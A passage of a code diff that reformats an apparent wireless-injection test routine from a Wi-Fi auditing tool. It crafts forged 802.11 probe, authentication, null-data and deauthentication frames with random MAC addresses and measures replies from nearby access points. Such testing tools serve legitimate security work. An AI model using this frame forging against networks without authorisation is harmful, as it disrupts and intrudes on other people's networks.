-        memcpy(h80211+len+2, ap[i].essid, ap[i].len);
-
-        len += ap[i].len+2;
-
-        memcpy(h80211+len, RATES, 16);
-
-        len += 16;
-
-        for(j=0; j<REQUESTS; j++)
-        {
-            /*
-                random source so we can identify our packets
-            */
-            opt.r_smac[0] = 0x00;
-            opt.r_smac[1] = rand() & 0xFF;
-            opt.r_smac[2] = rand() & 0xFF;
-            opt.r_smac[3] = rand() & 0xFF;
-            opt.r_smac[4] = rand() & 0xFF;
-            opt.r_smac[5] = rand() & 0xFF;
-
-            //build/send probe request
-            memcpy(h80211+10, opt.r_smac, 6);
-
-            send_packet(h80211, len);
-            usleep(10);
-
-            //build/send request-to-send
-            memcpy(nulldata, RTS, 16);
-            memcpy(nulldata+4, ap[i].bssid, 6);
-            memcpy(nulldata+10, opt.r_smac, 6);
-
-            send_packet(nulldata, 16);
-            usleep(10);
-
-            //build/send null data packet
-            memcpy(nulldata, NULL_DATA, 24);
-            memcpy(nulldata+4, ap[i].bssid, 6);
-            memcpy(nulldata+10, opt.r_smac, 6);
-            memcpy(nulldata+16, ap[i].bssid, 6);
-
-            send_packet(nulldata, 24);
-            usleep(10);
-
-            //build/send auth request packet
-            memcpy(nulldata, AUTH_REQ, 30);
-            memcpy(nulldata+4, ap[i].bssid, 6);
-            memcpy(nulldata+10, opt.r_smac, 6);
-            memcpy(nulldata+16, ap[i].bssid, 6);
-
-            send_packet(nulldata, 30);
-
-            //continue
-            gettimeofday( &tv, NULL );
-
-            printf( "\r%2d/%2d: %3d%%\r", ap[i].found, j+1, ((ap[i].found*100)/(j+1)));
-            fflush(stdout);
-            while (1)  //waiting for relayed packet
-            {
-                caplen = read_packet(packet, sizeof(packet), &ri);
-
-                if (packet[0] == 0x50 ) //Is probe response
-                {
-                    if (! memcmp(opt.r_smac, packet+4, 6)) //To our MAC
-                    {
-                        if(! memcmp(ap[i].bssid, packet+16, 6)) //From the mentioned AP
-                        {
-                            gettimeofday( &tv3, NULL);
-                            ap[i].ping[j] = ((tv3.tv_sec*1000000 - tv.tv_sec*1000000) + (tv3.tv_usec - tv.tv_usec));
-                            if(!answers)
-                            {
-                                if(opt.fast)
-                                {
-                                    PCT; printf("Injection is working!\n\n");
-                                    return 0;
-                                }
-                                answers++;
-                            }
-                            ap[i].found++;
-                            if((signed)ri.ri_power > -200)
-                                ap[i].pwr[j] = (signed)ri.ri_power;
-                            break;
-                        }
-                    }
-                }
-
-                if (packet[0] == 0xC4 ) //Is clear-to-send
-                {
-                    if (! memcmp(opt.r_smac, packet+4, 6)) //To our MAC
-                    {
-                        gettimeofday( &tv3, NULL);
-                        ap[i].ping[j] = ((tv3.tv_sec*1000000 - tv.tv_sec*1000000) + (tv3.tv_usec - tv.tv_usec));
-                        if(!answers)
-                        {
-                            if(opt.fast)
-                            {
-                                PCT; printf("Injection is working!\n\n");
-                                return 0;
-                            }
-                            answers++;
-                        }
-                        ap[i].found++;
-                        if((signed)ri.ri_power > -200)
-                            ap[i].pwr[j] = (signed)ri.ri_power;
-                        break;
-                    }
-                }
-
-                if (packet[0] == 0xD4 ) //Is ack
-                {
-                    if (! memcmp(opt.r_smac, packet+4, 6)) //To our MAC
-                    {
-                        gettimeofday( &tv3, NULL);
-                        ap[i].ping[j] = ((tv3.tv_sec*1000000 - tv.tv_sec*1000000) + (tv3.tv_usec - tv.tv_usec));
-                        if(!answers)
-                        {
-                            if(opt.fast)
-                            {
-                                PCT; printf("Injection is working!\n\n");
-                                return 0;
-                            }
-                            answers++;
-                        }
-                        ap[i].found++;
-                        if((signed)ri.ri_power > -200)
-                            ap[i].pwr[j] = (signed)ri.ri_power;
-                        break;
-                    }
-                }
-
-                if (packet[0] == 0xB0 ) //Is auth response
-                {
-                    if (! memcmp(opt.r_smac, packet+4, 6)) //To our MAC
-                    {
-                        if (! memcmp(packet+10, packet+16, 6)) //From BSS ID
-                        {
-                            gettimeofday( &tv3, NULL);
-                            ap[i].ping[j] = ((tv3.tv_sec*1000000 - tv.tv_sec*1000000) + (tv3.tv_usec - tv.tv_usec));
-                            if(!answers)
-                            {
-                                if(opt.fast)
-                                {
-                                    PCT; printf("Injection is working!\n\n");
-                                    return 0;
-                                }
-                                answers++;
-                            }
-                            ap[i].found++;
-                            if((signed)ri.ri_power > -200)
-                                ap[i].pwr[j] = (signed)ri.ri_power;
-                            break;
-                        }
-                    }
-                }
-
-                gettimeofday( &tv2, NULL );
-                if (((tv2.tv_sec*1000000UL - tv.tv_sec*1000000UL) + (tv2.tv_usec - tv.tv_usec)) > (atime*1000)) //wait 'atime'ms for an answer
-                {
-                    break;
-                }
-                usleep(10);
-            }
-            printf( "\r%2d/%2d: %3d%%\r", ap[i].found, j+1, ((ap[i].found*100)/(j+1)));
-            fflush(stdout);
-        }
-        for(j=0; j<REQUESTS; j++)
-        {
-            if(ap[i].ping[j] > 0)
-            {
-                if(ap[i].ping[j] > max) max = ap[i].ping[j];
-                if(ap[i].ping[j] < min) min = ap[i].ping[j];
-                avg += ap[i].ping[j];
-                avg2 += ap[i].pwr[j];
-            }
-        }
-        if(ap[i].found > 0)
-        {
-            avg /= ap[i].found;
-            avg2 /= ap[i].found;
-            PCT; printf("Ping (min/avg/max): %.3fms/%.3fms/%.3fms Power: %.2f\n",
+			if (packet[0] == 0x80) // Is beacon frame
+			{
+				if (grab_essid(packet, caplen) == 0
+					&& (!memcmp(opt.r_bssid, NULL_MAC, 6)))
+				{
+					found++;
+				}
+			}
+
+			gettimeofday(&tv2, NULL);
+			if (((tv2.tv_sec * 1000000UL - tv.tv_sec * 1000000UL)
+				 + (tv2.tv_usec - tv.tv_usec))
+				> (3 * atime * 1000)) // wait 'atime'ms for an answer
+			{
+				break;
+			}
+		}
+	}
+	if (answers == 0)
+	{
+		PCT;
+		printf("No Answer...\n");
+	}
+
+	PCT;
+	printf("Found %d AP%c\n", found, ((found == 1) ? ' ' : 's'));
+
+	if (found > 0)
+	{
+		printf("\n");
+		PCT;
+		printf("Trying directed probe requests...\n");
+	}
+
+	for (i = 0; i < found; i++)
+	{
+		if (wi_get_channel(_wi_out) != ap[i].chan)
+		{
+			wi_set_channel(_wi_out, ap[i].chan);
+		}
+
+		if (wi_get_channel(_wi_in) != ap[i].chan)
+		{
+			wi_set_channel(_wi_in, ap[i].chan);
+		}
+
+		PCT;
+		printf("%02X:%02X:%02X:%02X:%02X:%02X - channel: %d - \'%s\'\n",
+			   ap[i].bssid[0],
+			   ap[i].bssid[1],
+			   ap[i].bssid[2],
+			   ap[i].bssid[3],
+			   ap[i].bssid[4],
+			   ap[i].bssid[5],
+			   ap[i].chan,
+			   ap[i].essid);
+
+		ap[i].found = 0;
+		min = INT_MAX;
+		max = 0;
+		avg = 0;
+		avg2 = 0;
+
+		memcpy(h80211, PROBE_REQ, 24);
+
+		len = 24;
+
+		h80211[24] = 0x00; // ESSID Tag Number
+		h80211[25] = ap[i].len; // ESSID Tag Length
+		memcpy(h80211 + len + 2, ap[i].essid, ap[i].len);
+
+		len += ap[i].len + 2;
+
+		memcpy(h80211 + len, RATES, 16);
+
+		len += 16;
+
+		for (j = 0; j < REQUESTS; j++)
+		{
+			/*
+				random source so we can identify our packets
+			*/
+			opt.r_smac[0] = 0x00;
+			opt.r_smac[1] = rand() & 0xFF;
+			opt.r_smac[2] = rand() & 0xFF;
+			opt.r_smac[3] = rand() & 0xFF;
+			opt.r_smac[4] = rand() & 0xFF;
+			opt.r_smac[5] = rand() & 0xFF;
+
+			// build/send probe request
+			memcpy(h80211 + 10, opt.r_smac, 6);
+
+			send_packet(h80211, len);
+			usleep(10);
+
+			// build/send request-to-send
+			memcpy(nulldata, RTS, 16);
+			memcpy(nulldata + 4, ap[i].bssid, 6);
+			memcpy(nulldata + 10, opt.r_smac, 6);
+
+			send_packet(nulldata, 16);
+			usleep(10);
+
+			// build/send null data packet
+			memcpy(nulldata, NULL_DATA, 24);
+			memcpy(nulldata + 4, ap[i].bssid, 6);
+			memcpy(nulldata + 10, opt.r_smac, 6);
+			memcpy(nulldata + 16, ap[i].bssid, 6);
+
+			send_packet(nulldata, 24);
+			usleep(10);
+
+			// build/send auth request packet
+			memcpy(nulldata, AUTH_REQ, 30);
+			memcpy(nulldata + 4, ap[i].bssid, 6);
+			memcpy(nulldata + 10, opt.r_smac, 6);
+			memcpy(nulldata + 16, ap[i].bssid, 6);
+
+			send_packet(nulldata, 30);
+
+			// continue
+			gettimeofday(&tv, NULL);
+
+			printf("\r%2d/%2d: %3d%%\r",
+				   ap[i].found,
+				   j + 1,
+				   ((ap[i].found * 100) / (j + 1)));
+			fflush(stdout);
+			while (1) // waiting for relayed packet
+			{
+				caplen = read_packet(packet, sizeof(packet), &ri);
+
+				if (packet[0] == 0x50) // Is probe response
+				{
+					if (!memcmp(opt.r_smac, packet + 4, 6)) // To our MAC
+					{
+						if (!memcmp(ap[i].bssid,
+									packet + 16,
+									6)) // From the mentioned AP
+						{
+							gettimeofday(&tv3, NULL);
+							ap[i].ping[j]
+								= ((tv3.tv_sec * 1000000 - tv.tv_sec * 1000000)
+								   + (tv3.tv_usec - tv.tv_usec));
+							if (!answers)
+							{
+								if (opt.fast)
+								{
+									PCT;
+									printf("Injection is working!\n\n");
+									return 0;
+								}
+								answers++;
+							}
+							ap[i].found++;
+							if ((signed) ri.ri_power > -200)
+								ap[i].pwr[j] = (signed) ri.ri_power;
+							break;
+						}
+					}
+				}
+
+				if (packet[0] == 0xC4) // Is clear-to-send
+				{
+					if (!memcmp(opt.r_smac, packet + 4, 6)) // To our MAC
+					{
+						gettimeofday(&tv3, NULL);
+						ap[i].ping[j]
+							= ((tv3.tv_sec * 1000000 - tv.tv_sec * 1000000)
+							   + (tv3.tv_usec - tv.tv_usec));
+						if (!answers)
+						{
+							if (opt.fast)
+							{
+								PCT;
+								printf("Injection is working!\n\n");
+								return 0;
+							}
+							answers++;
+						}
+						ap[i].found++;
+						if ((signed) ri.ri_power > -200)
+							ap[i].pwr[j] = (signed) ri.ri_power;
+						break;
+					}
+				}
+
+				if (packet[0] == 0xD4) // Is ack
+				{
+					if (!memcmp(opt.r_smac, packet + 4, 6)) // To our MAC
+					{
+						gettimeofday(&tv3, NULL);
+						ap[i].ping[j]
+							= ((tv3.tv_sec * 1000000 - tv.tv_sec * 1000000)
+							   + (tv3.tv_usec - tv.tv_usec));
+						if (!answers)
+						{
+							if (opt.fast)
+							{
+								PCT;
+								printf("Injection is working!\n\n");
+								return 0;
+							}
+							answers++;
+						}
+						ap[i].found++;
+						if ((signed) ri.ri_power > -200)
+							ap[i].pwr[j] = (signed) ri.ri_power;
+						break;
+					}
+				}
+
+				if (packet[0] == 0xB0) // Is auth response
+				{
+					if (!memcmp(opt.r_smac, packet + 4, 6)) // To our MAC
+					{
+						if (!memcmp(packet + 10, packet + 16, 6)) // From BSS ID
+						{
+							gettimeofday(&tv3, NULL);
+							ap[i].ping[j]
+								= ((tv3.tv_sec * 1000000 - tv.tv_sec * 1000000)
+								   + (tv3.tv_usec - tv.tv_usec));
+							if (!answers)
+							{
+								if (opt.fast)
+								{
+									PCT;
+									printf("Injection is working!\n\n");
+									return 0;
+								}
+								answers++;
+							}
+							ap[i].found++;
+							if ((signed) ri.ri_power > -200)
+								ap[i].pwr[j] = (signed) ri.ri_power;
+							break;
+						}
+					}
+				}
+
+				gettimeofday(&tv2, NULL);
+				if (((tv2.tv_sec * 1000000UL - tv.tv_sec * 1000000UL)
+					 + (tv2.tv_usec - tv.tv_usec))
+					> (atime * 1000)) // wait 'atime'ms for an answer
+				{
+					break;
+				}
+				usleep(10);
+			}
+			printf("\r%2d/%2d: %3d%%\r",
+				   ap[i].found,
+				   j + 1,
+				   ((ap[i].found * 100) / (j + 1)));
+			fflush(stdout);
+		}
+		for (j = 0; j < REQUESTS; j++)
+		{
+			if (ap[i].ping[j] > 0)
+			{
+				if (ap[i].ping[j] > max) max = ap[i].ping[j];
+				if (ap[i].ping[j] < min) min = ap[i].ping[j];
+				avg += ap[i].ping[j];
+				avg2 += ap[i].pwr[j];
+			}
+		}
+		if (ap[i].found > 0)
+		{
+			avg /= ap[i].found;
+			avg2 /= ap[i].found;
+			PCT;
+			printf("Ping (min/avg/max): %.3fms/%.3fms/%.3fms Power: %.2f\n",
 #if defined(__x86_64__) && defined(__CYGWIN__)
-	(min/(0.0f + 1000)), (avg/(0.0f + 1000)), (max/(0.0f + 1000)), avg2);
+				   (min / (0.0f + 1000)),
+				   (avg / (0.0f + 1000)),
+				   (max / (0.0f + 1000)),
+				   avg2);
 #else
-	(min/1000.0), (avg/1000.0), (max/1000.0), avg2);
+				   (min / 1000.0),
+				   (avg / 1000.0),
+				   (max / 1000.0),
+				   avg2);
 #endif
-        }
-        PCT; printf("%2d/%2d: %3d%%\n\n", ap[i].found, REQUESTS, ((ap[i].found*100)/REQUESTS));
+		}
+		PCT;
+		printf("%2d/%2d: %3d%%\n\n",
+			   ap[i].found,
+			   REQUESTS,
+			   ((ap[i].found * 100) / REQUESTS));
+
+		if (!gotit && answers)
+		{
+			PCT;
+			printf("Injection is working!\n\n");
+			gotit = 1;
+		}
+	}
 
-        if(!gotit && answers)
-        {
-            PCT; printf("Injection is working!\n\n");
-            gotit=1;
-        }
-    }
+	if (opt.bittest)
+	{
+		if (found > 0)
+		{
+			PCT;
+			printf("Trying directed probe requests for all bitrates...\n");
+		}
 
-    if(opt.bittest)
-    {
-        if(found > 0)
-        {
-            PCT; printf("Trying directed probe requests for all bitrates...\n");
-        }
-
-        for(i=0; i<found; i++)
-        {
-            if(ap[i].found <= 0)
-                continue;
-            printf("\n");
-            PCT; printf("%02X:%02X:%02X:%02X:%02X:%02X - channel: %d - \'%s\'\n", ap[i].bssid[0], ap[i].bssid[1],
-                        ap[i].bssid[2], ap[i].bssid[3], ap[i].bssid[4], ap[i].bssid[5], ap[i].chan, ap[i].essid);
-
-            min = INT_MAX;
-            max = 0;
-            avg = 0;
-
-            memcpy(h80211, PROBE_REQ, 24);
-
-            len = 24;
-
-            h80211[24] = 0x00;      //ESSID Tag Number
-            h80211[25] = ap[i].len; //ESSID Tag Length
-            memcpy(h80211+len+2, ap[i].essid, ap[i].len);
-
-            len += ap[i].len+2;
-
-            memcpy(h80211+len, RATES, 16);
-
-            len += 16;
-
-            for(k=0; k<RATE_NUM; k++)
-            {
-                ap[i].found=0;
-                if(set_bitrate(_wi_out, bitrates[k]))
-                    continue;
-
-
-                avg2 = 0;
-                memset(ap[i].pwr, 0, REQUESTS*sizeof(unsigned int));
-
-                for(j=0; j<REQUESTS; j++)
-                {
-                    /*
-                        random source so we can identify our packets
-                    */
-                    opt.r_smac[0] = 0x00;
-                    opt.r_smac[1] = rand() & 0xFF;
-                    opt.r_smac[2] = rand() & 0xFF;
-                    opt.r_smac[3] = rand() & 0xFF;
-                    opt.r_smac[4] = rand() & 0xFF;
-                    opt.r_smac[5] = rand() & 0xFF;
-
-                    memcpy(h80211+10, opt.r_smac, 6);
-
-                    send_packet(h80211, len);
-
-                    gettimeofday( &tv, NULL );
-
-                    printf( "\r%2d/%2d: %3d%%\r", ap[i].found, j+1, ((ap[i].found*100)/(j+1)));
-                    fflush(stdout);
-                    while (1)  //waiting for relayed packet
-                    {
-                        caplen = read_packet(packet, sizeof(packet), &ri);
-
-                        if (packet[0] == 0x50 ) //Is probe response
-                        {
-                            if (! memcmp(opt.r_smac, packet+4, 6)) //To our MAC
-                            {
-                                if(! memcmp(ap[i].bssid, packet+16, 6)) //From the mentioned AP
-                                {
-                                    if(!answers)
-                                    {
-                                        answers++;
-                                    }
-                                    ap[i].found++;
-                                    if((signed)ri.ri_power > -200)
-                                        ap[i].pwr[j] = (signed)ri.ri_power;
-                                    break;
-                                }
-                            }
-                        }
-
-                        gettimeofday( &tv2, NULL );
-                        if (((tv2.tv_sec*1000000UL - tv.tv_sec*1000000UL) + (tv2.tv_usec - tv.tv_usec)) > (100*1000)) //wait 300ms for an answer
-                        {
-                            break;
-                        }
-                        usleep(10);
-                    }
-                    printf( "\r%2d/%2d: %3d%%\r", ap[i].found, j+1, ((ap[i].found*100)/(j+1)));
-                    fflush(stdout);
-                }
-                for(j=0; j<REQUESTS; j++)
-                    avg2 += ap[i].pwr[j];
-                if(ap[i].found > 0)
-                    avg2 /= ap[i].found;
-                PCT; printf("Probing at %2.1f Mbps:\t%2d/%2d: %3d%%\n", wi_get_rate(_wi_out)/
+		for (i = 0; i < found; i++)
+		{
+			if (ap[i].found <= 0) continue;
+			printf("\n");
+			PCT;
+			printf("%02X:%02X:%02X:%02X:%02X:%02X - channel: %d - \'%s\'\n",
+				   ap[i].bssid[0],
+				   ap[i].bssid[1],
+				   ap[i].bssid[2],
+				   ap[i].bssid[3],
+				   ap[i].bssid[4],
+				   ap[i].bssid[5],
+				   ap[i].chan,
+				   ap[i].essid);
+
+			min = INT_MAX;
+			max = 0;
+			avg = 0;
+
+			memcpy(h80211, PROBE_REQ, 24);
+
+			len = 24;
+
+			h80211[24] = 0x00; // ESSID Tag Number
+			h80211[25] = ap[i].len; // ESSID Tag Length
+			memcpy(h80211 + len + 2, ap[i].essid, ap[i].len);
+
+			len += ap[i].len + 2;
+
+			memcpy(h80211 + len, RATES, 16);
+
+			len += 16;
+
+			for (k = 0; k < RATE_NUM; k++)
+			{
+				ap[i].found = 0;
+				if (set_bitrate(_wi_out, bitrates[k])) continue;
+
+				avg2 = 0;
+				memset(ap[i].pwr, 0, REQUESTS * sizeof(unsigned int));
+
+				for (j = 0; j < REQUESTS; j++)
+				{
+					/*
+						random source so we can identify our packets
+					*/
+					opt.r_smac[0] = 0x00;
+					opt.r_smac[1] = rand() & 0xFF;
+					opt.r_smac[2] = rand() & 0xFF;
+					opt.r_smac[3] = rand() & 0xFF;
+					opt.r_smac[4] = rand() & 0xFF;
+					opt.r_smac[5] = rand() & 0xFF;
+
+					memcpy(h80211 + 10, opt.r_smac, 6);
+
+					send_packet(h80211, len);
+
+					gettimeofday(&tv, NULL);
+
+					printf("\r%2d/%2d: %3d%%\r",
+						   ap[i].found,
+						   j + 1,
+						   ((ap[i].found * 100) / (j + 1)));
+					fflush(stdout);
+					while (1) // waiting for relayed packet
+					{
+						caplen = read_packet(packet, sizeof(packet), &ri);
+
+						if (packet[0] == 0x50) // Is probe response
+						{
+							if (!memcmp(opt.r_smac, packet + 4, 6)) // To our
+							// MAC
+							{
+								if (!memcmp(ap[i].bssid,
+											packet + 16,
+											6)) // From the mentioned AP
+								{
+									if (!answers)
+									{
+										answers++;
+									}
+									ap[i].found++;
+									if ((signed) ri.ri_power > -200)
+										ap[i].pwr[j] = (signed) ri.ri_power;
+									break;
+								}
+							}
+						}
+
+						gettimeofday(&tv2, NULL);
+						if (((tv2.tv_sec * 1000000UL - tv.tv_sec * 1000000UL)
+							 + (tv2.tv_usec - tv.tv_usec))
+							> (100 * 1000)) // wait 300ms for an answer
+						{
+							break;
+						}
+						usleep(10);
+					}
+					printf("\r%2d/%2d: %3d%%\r",
+						   ap[i].found,
+						   j + 1,
+						   ((ap[i].found * 100) / (j + 1)));
+					fflush(stdout);
+				}
+				for (j = 0; j < REQUESTS; j++) avg2 += ap[i].pwr[j];
+				if (ap[i].found > 0) avg2 /= ap[i].found;
+				PCT;
+				printf("Probing at %2.1f Mbps:\t%2d/%2d: %3d%%\n",
+					   wi_get_rate(_wi_out) /
 #if defined(__x86_64__) && defined(__CYGWIN__)
-	(0.0f + 1000000),
+						   (0.0f + 1000000),
 #else
-	1000000.0,
+						   1000000.0,
 #endif
-                            ap[i].found, REQUESTS, ((ap[i].found*100)/REQUESTS));
-            }
+					   ap[i].found,
+					   REQUESTS,
+					   ((ap[i].found * 100) / REQUESTS));
+			}
+
+			if (!gotit && answers)
+			{
+				PCT;
+				printf("Injection is working!\n\n");
+				if (opt.fast) return 0;
+				gotit = 1;
+			}
+		}
+	}
+	if (opt.bittest) set_bitrate(_wi_out, RATE_1M);
 
-            if(!gotit && answers)
-            {
-                PCT; printf("Injection is working!\n\n");
-                if(opt.fast) return 0;
-                gotit=1;
-            }
-        }
-    }
-    if(opt.bittest)
-        set_bitrate(_wi_out, RATE_1M);
+	if (opt.s_face != NULL)
+	{
+		printf("\n");
+		PCT;
+		printf("Trying card-to-card injection...\n");
+
+		/* sync both cards to the same channel, or the test will fail */
+		if (wi_get_channel(_wi_out) != wi_get_channel(_wi_in))
+		{
+			wi_set_channel(_wi_out, wi_get_channel(_wi_in));
+		}
 
-    if( opt.s_face != NULL )
-    {
-        printf("\n");
-        PCT; printf("Trying card-to-card injection...\n");
+		/* Attacks */
+		for (i = 0; i < 5; i++)
+		{
+			k = 0;
+			/* random macs */
+			opt.f_smac[0] = 0x00;
+			opt.f_smac[1] = rand() & 0xFF;
+			opt.f_smac[2] = rand() & 0xFF;
+			opt.f_smac[3] = rand() & 0xFF;
+			opt.f_smac[4] = rand() & 0xFF;
+			opt.f_smac[5] = rand() & 0xFF;
+
+			opt.f_dmac[0] = 0x00;
+			opt.f_dmac[1] = rand() & 0xFF;
+			opt.f_dmac[2] = rand() & 0xFF;
+			opt.f_dmac[3] = rand() & 0xFF;
+			opt.f_dmac[4] = rand() & 0xFF;
+			opt.f_dmac[5] = rand() & 0xFF;
+
+			opt.f_bssid[0] = 0x00;
+			opt.f_bssid[1] = rand() & 0xFF;
+			opt.f_bssid[2] = rand() & 0xFF;
+			opt.f_bssid[3] = rand() & 0xFF;
+			opt.f_bssid[4] = rand() & 0xFF;
+			opt.f_bssid[5] = rand() & 0xFF;
+
+			if (i == 0) // attack -0
+			{
+				memcpy(h80211, DEAUTH_REQ, 26);
+				memcpy(h80211 + 16, opt.f_bssid, 6);
+				memcpy(h80211 + 4, opt.f_dmac, 6);
+				memcpy(h80211 + 10, opt.f_smac, 6);
+
+				opt.f_iswep = 0;
+				opt.f_tods = 0;
+				opt.f_fromds = 0;
+				opt.f_minlen = opt.f_maxlen = 26;
+			}
+			else if (i == 1) // attack -1 (open)
+			{
+				memcpy(h80211, AUTH_REQ, 30);
+				memcpy(h80211 + 4, opt.f_dmac, 6);
+				memcpy(h80211 + 10, opt.f_smac, 6);
+				memcpy(h80211 + 16, opt.f_bssid, 6);
+
+				opt.f_iswep = 0;
+				opt.f_tods = 0;
+				opt.f_fromds = 0;
+				opt.f_minlen = opt.f_maxlen = 30;
+			}
+			else if (i == 2) // attack -1 (psk)
+			{
+				memcpy(h80211, ska_auth3, 24);
+				memcpy(h80211 + 4, opt.f_dmac, 6);
+				memcpy(h80211 + 10, opt.f_smac, 6);
+				memcpy(h80211 + 16, opt.f_bssid, 6);
+
+				// iv+idx
+				h80211[24] = 0x86;
+				h80211[25] = 0xD8;
+				h80211[26] = 0x2E;
+				h80211[27] = 0x00;
+
+				// random bytes (as encrypted data)
+				for (j = 0; j < 132; j++) h80211[28 + j] = rand() & 0xFF;
+
+				opt.f_iswep = 1;
+				opt.f_tods = 0;
+				opt.f_fromds = 0;
+				opt.f_minlen = opt.f_maxlen = 24 + 4 + 132;
+			}
+			else if (i == 3) // attack -3
+			{
+				memcpy(h80211, NULL_DATA, 24);
+				memcpy(h80211 + 4, opt.f_bssid, 6);
+				memcpy(h80211 + 10, opt.f_smac, 6);
+				memcpy(h80211 + 16, opt.f_dmac, 6);
+
+				// iv+idx
+				h80211[24] = 0x86;
+				h80211[25] = 0xD8;
+				h80211[26] = 0x2E;
+				h80211[27] = 0x00;
+
+				// random bytes (as encrypted data)
+				for (j = 0; j < 132; j++) h80211[28 + j] = rand() & 0xFF;
+
+				opt.f_iswep = -1;
+				opt.f_tods = 1;
+				opt.f_fromds = 0;
+				opt.f_minlen = opt.f_maxlen = 24 + 4 + 132;
+			}
+			else if (i == 4) // attack -5
+			{
+				memcpy(h80211, NULL_DATA, 24);
+				memcpy(h80211 + 4, opt.f_bssid, 6);
+				memcpy(h80211 + 10, opt.f_smac, 6);
+				memcpy(h80211 + 16, opt.f_dmac, 6);
+
+				h80211[1] |= 0x04;
+				h80211[22] = 0x0A;
+				h80211[23] = 0x00;
+
+				// iv+idx
+				h80211[24] = 0x86;
+				h80211[25] = 0xD8;
+				h80211[26] = 0x2E;
+				h80211[27] = 0x00;
+
+				// random bytes (as encrypted data)
+				for (j = 0; j < 7; j++) h80211[28 + j] = rand() & 0xFF;
+
+				opt.f_iswep = -1;
+				opt.f_tods = 1;
+				opt.f_fromds = 0;
+				opt.f_minlen = opt.f_maxlen = 24 + 4 + 7;
+			}
+
+			for (j = 0; (j < (REQUESTS / 4) && !k); j++) // try it 5 times
+			{
+				send_packet(h80211, opt.f_minlen);
+
+				gettimeofday(&tv, NULL);
+				while (1) // waiting for relayed packet
+				{
+					caplen = read_packet(packet, sizeof(packet), &ri);
+					if (filter_packet(packet, caplen)
+						== 0) // got same length and same type
+					{
+						if (!answers)
+						{
+							answers++;
+						}
+
+						if (i == 0) // attack -0
+						{
+							if (h80211[0] == packet[0])
+							{
+								k = 1;
+								break;
+							}
+						}
+						else if (i == 1) // attack -1 (open)
+						{
+							if (h80211[0] == packet[0])
+							{
+								k = 1;
+								break;
+							}
+						}
+						else if (i == 2) // attack -1 (psk)
+						{
+							if (h80211[0] == packet[0]
+								&& memcmp(h80211 + 24, packet + 24, caplen - 24)
+									   == 0)
+							{
+								k = 1;
+								break;
+							}
+						}
+						else if (i == 3) // attack -2/-3/-4/-6
+						{
+							if (h80211[0] == packet[0]
+								&& memcmp(h80211 + 24, packet + 24, caplen - 24)
+									   == 0)
+							{
+								k = 1;
+								break;
+							}
+						}
+						else if (i == 4) // attack -5/-7
+						{
+							if (h80211[0] == packet[0]
+								&& memcmp(h80211 + 24, packet + 24, caplen - 24)
+									   == 0)
+							{
+								if ((packet[1] & 0x04)
+									&& memcmp(h80211 + 22, packet + 22, 2) == 0)
+								{
+									k = 1;
+									break;
+								}
+							}
+						}
+					}
 
-        /* sync both cards to the same channel, or the test will fail */
-        if(wi_get_channel(_wi_out) != wi_get_channel(_wi_in))
-        {
-            wi_set_channel(_wi_out, wi_get_channel(_wi_in));
-        }
-
-        /* Attacks */
-        for(i=0; i<5; i++)
-        {
-            k=0;
-            /* random macs */
-            opt.f_smac[0] = 0x00;
-            opt.f_smac[1] = rand() & 0xFF;
-            opt.f_smac[2] = rand() & 0xFF;
-            opt.f_smac[3] = rand() & 0xFF;
-            opt.f_smac[4] = rand() & 0xFF;
-            opt.f_smac[5] = rand() & 0xFF;
-
-            opt.f_dmac[0] = 0x00;
-            opt.f_dmac[1] = rand() & 0xFF;
-            opt.f_dmac[2] = rand() & 0xFF;
-            opt.f_dmac[3] = rand() & 0xFF;
-            opt.f_dmac[4] = rand() & 0xFF;
-            opt.f_dmac[5] = rand() & 0xFF;
-
-            opt.f_bssid[0] = 0x00;
-            opt.f_bssid[1] = rand() & 0xFF;
-            opt.f_bssid[2] = rand() & 0xFF;
-            opt.f_bssid[3] = rand() & 0xFF;
-            opt.f_bssid[4] = rand() & 0xFF;
-            opt.f_bssid[5] = rand() & 0xFF;
-
-            if(i==0) //attack -0
-            {
-                memcpy( h80211, DEAUTH_REQ, 26 );
-                memcpy( h80211 + 16, opt.f_bssid, 6 );
-                memcpy( h80211 +  4, opt.f_dmac,  6 );
-                memcpy( h80211 + 10, opt.f_smac, 6 );
-
-                opt.f_iswep = 0;
-                opt.f_tods = 0; opt.f_fromds = 0;
-                opt.f_minlen = opt.f_maxlen = 26;
-            }
-            else if(i==1) //attack -1 (open)
-            {
-                memcpy( h80211, AUTH_REQ, 30 );
-                memcpy( h80211 +  4, opt.f_dmac, 6 );
-                memcpy( h80211 + 10, opt.f_smac , 6 );
-                memcpy( h80211 + 16, opt.f_bssid, 6 );
-
-                opt.f_iswep = 0;
-                opt.f_tods = 0; opt.f_fromds = 0;
-                opt.f_minlen = opt.f_maxlen = 30;
-            }
-            else if(i==2) //attack -1 (psk)
-            {
-                memcpy( h80211, ska_auth3, 24);
-                memcpy( h80211 +  4, opt.f_dmac, 6);
-                memcpy( h80211 + 10, opt.f_smac,  6);
-                memcpy( h80211 + 16, opt.f_bssid, 6);
-
-                //iv+idx
-                h80211[24] = 0x86;
-                h80211[25] = 0xD8;
-                h80211[26] = 0x2E;
-                h80211[27] = 0x00;
-
-                //random bytes (as encrypted data)
-                for(j=0; j<132; j++)
-                    h80211[28+j] = rand() & 0xFF;
-
-                opt.f_iswep = 1;
-                opt.f_tods = 0; opt.f_fromds = 0;
-                opt.f_minlen = opt.f_maxlen = 24+4+132;
-            }
-            else if(i==3) //attack -3
-            {
-                memcpy( h80211, NULL_DATA, 24);
-                memcpy( h80211 +  4, opt.f_bssid, 6);
-                memcpy( h80211 + 10, opt.f_smac,  6);
-                memcpy( h80211 + 16, opt.f_dmac, 6);
-
-                //iv+idx
-                h80211[24] = 0x86;
-                h80211[25] = 0xD8;
-                h80211[26] = 0x2E;
-                h80211[27] = 0x00;
-
-                //random bytes (as encrypted data)
-                for(j=0; j<132; j++)
-                    h80211[28+j] = rand() & 0xFF;
-
-                opt.f_iswep = -1;
-                opt.f_tods = 1; opt.f_fromds = 0;
-                opt.f_minlen = opt.f_maxlen = 24+4+132;
-            }
-            else if(i==4) //attack -5
-            {
-                memcpy( h80211, NULL_DATA, 24);
-                memcpy( h80211 +  4, opt.f_bssid, 6);
-                memcpy( h80211 + 10, opt.f_smac,  6);
-                memcpy( h80211 + 16, opt.f_dmac, 6);
-
-                h80211[1] |= 0x04;
-                h80211[22] = 0x0A;
-                h80211[23] = 0x00;
-
-                //iv+idx
-                h80211[24] = 0x86;
-                h80211[25] = 0xD8;
-                h80211[26] = 0x2E;
-                h80211[27] = 0x00;
-
-                //random bytes (as encrypted data)
-                for(j=0; j<7; j++)
-                    h80211[28+j] = rand() & 0xFF;
-
